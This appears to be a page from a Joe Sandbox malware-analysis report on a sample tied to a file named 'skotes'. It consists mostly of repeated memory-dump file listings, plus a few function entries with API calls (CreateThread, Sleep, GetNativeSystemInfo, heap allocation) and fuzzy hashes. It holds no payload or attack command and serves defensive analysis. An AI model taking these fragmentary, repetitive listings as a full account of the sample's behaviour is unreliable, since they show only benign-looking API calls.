Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4a563430cff495f73c53cddf1431966961e5087efed5d7bdbc679f99175f9e09
Instruction ID: 2ef80a85d661e849dc5170743cc9fa1a7b159119384ab4732554b458f353019c
Opcode Fuzzy Hash: 4a563430cff495f73c53cddf1431966961e5087efed5d7bdbc679f99175f9e09
Instruction Fuzzy Hash: 3AE086163EC300D9F61037A9A85EF2D61D8CBDA700F216618FB18CB0A1875445804563

Function 00956D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 00956D11
Sleep.KERNELBASE(00007530), ref: 00956D25

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: fc56328c9d048f9992129bbf1428ff0150e2d814878e098ff313eeb089877dc3
Instruction ID: 8e020ada225d33fcffc3c71c432c4d727bc0b9a5cf78b53c63a88265255bc5df
Opcode Fuzzy Hash: fc56328c9d048f9992129bbf1428ff0150e2d814878e098ff313eeb089877dc3
Instruction Fuzzy Hash: 45D08C307E4314BAF1208B216C0BF2AAA209B4AF02FB40C4577583F0E0C2E430048B98

Function 00948380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00948524

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 03c3814970b285b97422602ba01dac2d269be15e00427325763b7f4761ca5b16
Instruction ID: f3fad4e605385db73dd1f9ea38cba6ba3734cf0a2bb4de764b8a8d22ce57e937
Opcode Fuzzy Hash: 03c3814970b285b97422602ba01dac2d269be15e00427325763b7f4761ca5b16
Instruction Fuzzy Hash: F1512971D142189BDB24EB68CD49BDEB775DB86310F5042E8F808A72C1EF349E848F91

Function 00976E4C Relevance: 1.6, APIs: 1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d3360518250d5b7d6ffcc84a8b21163a90e55773d337afdce91a02d36bd85db
Instruction ID: c4b0567047ff5cebf964d314eb289c578a6884a85476b6ebd0f044f470907d94
Opcode Fuzzy Hash: 4d3360518250d5b7d6ffcc84a8b21163a90e55773d337afdce91a02d36bd85db
Instruction Fuzzy Hash: D421D673905608AAEB116BA8DC42F9F7729EF81778F248311F96C2B1C2DB709E059661

Function 00977124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNELBASE(00000000,?,?,?,?,?,0097705B,?,?,00000000,00000000), ref: 00977166

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: d735822261226b5a4bf29ff277467b3f2f5149293e132843c20310267394b858
Instruction ID: dd06ca0164cff00eebff182c6bae151933a59ed3af090a1b134b88a5c7236101
Opcode Fuzzy Hash: d735822261226b5a4bf29ff277467b3f2f5149293e132843c20310267394b858
Instruction Fuzzy Hash: 61112E7390810CABDB10DED5C885EDFB7BCAF09310F509262E915E3180EB30EA49CB61

Function 0097D82F Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0097A813,00000001,00000364,00000006,000000FF,?,?,0095D3FC,00956CB7,?,00957A8B,8B18EC84), ref: 0097D871

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
